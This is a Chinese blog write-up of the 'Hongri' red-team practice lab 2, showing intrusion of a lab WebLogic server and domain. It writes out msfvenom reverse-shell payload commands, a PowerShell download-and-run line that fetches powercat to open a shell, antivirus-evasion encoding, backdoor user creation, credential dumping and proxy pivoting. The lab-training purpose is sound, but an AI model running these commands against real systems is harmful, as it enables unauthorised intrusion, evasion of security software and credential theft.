红日靶场二

最新推荐文章于 2024-01-24 20:04:56 发布

rurald

最新推荐文章于 2024-01-24 20:04:56 发布

阅读量4.5k

点赞数 3

分类专栏：红日靶场文章标签：安全漏洞

本文链接：https://blog.csdn.net/qq_26947429/article/details/119318584

版权

红日靶场专栏收录该内容

2 篇文章 1 订阅

订阅专栏

描述：

红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。本次红队环境主要Access
Token利用、WMI利用、域漏洞利用SMB relay，EWS
relay，PTT(PTC)，MS14-068，GPP，SPN利用、黄金票据/白银票据/Sid
History/MOF等攻防技术。关于靶场统一登录密码：1qaz@WSX

Bypass UAC
Windows系统NTLM获取（理论知识：Windows认证）
Access Token利用（MSSQL利用）
WMI利用
网页代理，二层代理，特殊协议代理（DNS，ICMP）
域内信息收集
域漏洞利用：SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用
域凭证收集
后门技术（黄金票据/白银票据/Sid History/MOF）

环境说明

内网网段：10.10.10.1/24

DMZ网段：192.168.111.1/24

测试机地址：192.168.111.1（Windows），192.168.111.11（Linux）

防火墙策略（策略设置过后，测试机只能访问192段地址，模拟公网访问）：

deny all tcp ports：10.10.10.1

allow all tcp ports：10.10.10.0/24

配置信息

IP：10.10.10.10OS：Windows 2012(64)

应用：AD域

WEB

IP1：10.10.10.80IP2：192.168.111.80OS：Windows 2008(64)

应用：Weblogic 10.3.6MSSQL 2008

IP1：10.10.10.201IP2：192.168.111.201OS：Windows 7(32)

对拿到的IP地址扫描看看有没有什么利用的信息，分析思路

**┌──(root💀kali)-[/]**

**└─\# nmap -sS -sV 192.168.111.80**

**Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 09:31 CST**

**Nmap scan report for 192.168.111.80**

**Host is up (0.00034s latency).**

**Not shown: 989 filtered ports**

**PORT STATE SERVICE VERSION**

**80/tcp open http Microsoft IIS httpd 7.5**

**135/tcp open msrpc Microsoft Windows RPC**

**139/tcp open netbios-ssn Microsoft Windows netbios-ssn**

**445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012
microsoft-ds**

**1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000; SP2**

**3389/tcp open ms-wbt-server?**

**7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1;
T3 enabled)**

**49152/tcp open msrpc Microsoft Windows RPC**

**49153/tcp open msrpc Microsoft Windows RPC**

**49154/tcp open msrpc Microsoft Windows RPC**

**49155/tcp open msrpc Microsoft Windows RPC**

**MAC Address: 00:0C:29:68:D3:5F (VMware)**

**Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:
cpe:/o:microsoft:windows**

**Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .**

**Nmap done: 1 IP address (1 host up) scanned in 104.22 seconds**

**Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .**

**Nmap done: 1 IP address (1 host up) scanned in 104.22 seconds**

开了很多端口，直接访问80端口是个空白页面，7001收weblogc服务的端口号，3389也开了
没发现可用信息，我们对80和7001来一波目录扫描收集有用信息

这个是80端口出现的目录

这个是7001端口出现的目录

在这里插入图片描述

**在**[**http://192.168.111.80:7001/console/login/LoginForm.jsp**](http://192.168.111.80:7001/console/login/LoginForm.jsp)**这个出发现了登录界面，用weblogc的默认密码试了试没有成功，爆破这里就不尝试了。**

**既然是weblogc的站我们上道具就完事了**

用weblogc-master来扫描一波，下载和运行有问题的可以参考https://blog.csdn.net/qq_26947429/article/details/119208171?spm=1001.2014.3001.5501我的这一片文章

在这里插入图片描述

这边是爆出了一个weblogic has a JAVA deserialization
vulnerability:CVE-2019-2725，JAVA反序列化的漏洞，在msfconsole上面是由现成的exp的我们直接用
在这里插入图片描述

先使用exp然后再查看exp需要配置参数，后面是yes的就是必须要设置的

在这里插入图片描述

没有成功，查看了一下paayload都是uinux的所以不行很普通

在这里插入图片描述

再换了一个扫描weblogc的工具之后出现了更有用的东西

CVE-2017-3506和CVE-2019-2729的漏洞我门一个一个试
在这里插入图片描述

先试试CVE-2019-2729我们去下载一个poc，再做一下漏洞简介

漏洞简述

CVE-2019-2729漏洞是由于应用在处理反序列化输入信息时存在缺陷，攻击者可以通过发送精心构造的恶意
HTTP
请求，用于获得目标服务器的权限，并在未授权的情况下执行远程命令，最终获取服务器的权限。与CVE-2019-2725漏洞类似。

漏洞编号：CVE-2019-2725

影响版本：10.3.6.0、12.1.3.0、12.2.1.3

测试环境：Linux || vulhub || Weblogic 10.3.6.0

Poc的url：

https://github.com/ruthlezs/CVE-2019-2729-Exploit/blob/master/oracle-weblogic-deserialize.py

可以执行指令，乱码问题搞了半小时作为一个强迫症果断放弃了，有大佬解决了可以联系我哦！！！！

在这里插入图片描述

在试试CVE-2019-2729

漏洞利用前提

影响版本：10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 , 12.2.1.2

原理简析

漏洞触发位置：wls-wsat.war

漏洞触发URL：/wls-wsat/CoordinatorPortType（POST）

漏洞的本质：构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞

很难受莫得poc只能手动操作了

访问/wls-wsat/CoordinatorPortType11目录，存在下图则说明或许存在漏洞

在这里插入图片描述

攻击者服务器搭建一个http服务器,并在web目录下放一个msf生成的马子
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128
LPORT=5555 -f exe -o /home/dzj/ff.exe

注意用python搭建简易的http服务不同的·python版本指令不一样

python2语法：python -m SimpleHTTPServer

python3语法：python -m http.server

在这里插入图片描述

这个httpserver的目录在那个目录下打开就是那个目录

在这里插入图片描述

先打开msf的监听

在这里插入图片描述

我们来构造payload

访问http://192.168.111.80:7001/wls-wsat/CoordinatorPortType11,利用burp抓包,修改请求为post,content-type为text/xml,构造xml数据并发送,传了半天开了上帝视角才发现web服务器没curl指令麻了
在这里插入图片描述

在这里插入图片描述

换思路通过powershell反弹shell了，先试试xml代码有没有问题，可以打开计算器说明莫得问题啦
在这里插入图片描述

然后就是找个反弹shell的代码了

Powershell IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.111.80 -p 9909 -e cmd

在这里插入图片描述

等了半天没上线，打开靶机一看，扑该！

在这里插入图片描述

网上找了个CVE-2019-2725的poc，里面有个规定编码方式的要删除不然可能会运行失败
在这里插入图片描述

简简单单测试一下poc的功能，可以执行指令，我们通过poc自带的上传shell的工具直接传shell

在这里插入图片描述

这边我感觉可以改一下poc里面的shell修改个大马不美滋滋，我门直接添加用户并且加入管理员关闭防火墙开启3389

添加用户 net user test Admin123 /add被360拦截了，扑该！

在这里插入图片描述

直接上道具了，上传了冰蝎马子连接到冰蝎

在这里插入图片描述

这了上传msf的马子在前面生成的连接到msfconsole，我们生成的马子被360无情拦截，搞了半天静态免杀了不过用冰蝎远程执行就被拦截了，又得搞动态免杀

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=5555 -e
x86/shikata_ga_nai -x /home/dzj/npp.7.8.9.Installer.exe -i 12 -f exe -o
/home/dzj/test.exe

在这里插入图片描述

扑该啊，我直接在服务器双击了，动态免杀搞不懂
在这里插入图片描述

进程迁移加载kiwi获取密码用户名

在这里插入图片描述

开启3389端口远程桌面走起来，360拦截了异常行为

在这里插入图片描述

执行失败才想起来3389开着，上才艺！！！

在这里插入图片描述

很舒服了，还是一个域管理员的用户，先来域信息收集

C:\Windows\system32>chcp 65001乱码解决（这个是在msfconsole里面用的）

**net config workstation 查看是否有域，以及当前登录域**

**net view 查看域内主机列表**

**net group "domain controllers" /domain 查看域控制器(如果有多台)**

**net user /domain 查看域内所有域用户**

**net group "domain admins" /domain 查看域管理员列表**

**然后通过ping 命令查看域中主机的ip**

在这里插入图片描述

这个失败了，通过ping拿到域内计算机ip也就不行了

在这里插入图片描述

都用不了！！！

添加路由来实现对内网主机的扫描

在这里插入图片描述

扫描10.10.10.0/24网段的存活主机

在这里插入图片描述

第一遍扫描只有两个地址，第二遍就行了，不懂啥原因

在这里插入图片描述

可以看出来有DC、WEB、PC三个主机，对这DC、PC主机端口扫描，先做一个socks代理,这个扫描太慢了，还不如给web服务器传一个nmap直接起飞

在这里插入图片描述

用nmap对内网主机扫描

proxychains nmap -sT -Pn 10.10.10.10

proxychains nmap -sT -Pn 10.10.10.201

在这里插入图片描述

图左10.10.10.10 图右10.10.10.201

都开了445可以测试一波有没有

在这里插入图片描述

不出意外都有，这里没啥好说的看我上一篇文章有对这个的详细利用

https://blog.csdn.net/qq_26947429/article/details/119103355?spm=1001.2014.3001.5501

在这里插入图片描述

这边拿下域控之后，获取密码用户名直接登录win7即可。

rurald

关注

3
点赞
踩
10

收藏

觉得还不错? 一键收藏
2
评论
红日靶场二

描述：红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。本次红队环境主要AccessToken利用、WMI利用、域漏洞利用SMB relay，EWSrelay，PTT(PTC)，MS14-068，GPP，SPN利用、黄金票据/白银票据/SidHistory/MOF等攻防技术。关于靶场统一登录密码：1qaz@WSXBypass UACWindows系统NTLM获取（理论知识：Windows认证）Access Token利用（MSSQL利用）.
复制链接

扫一扫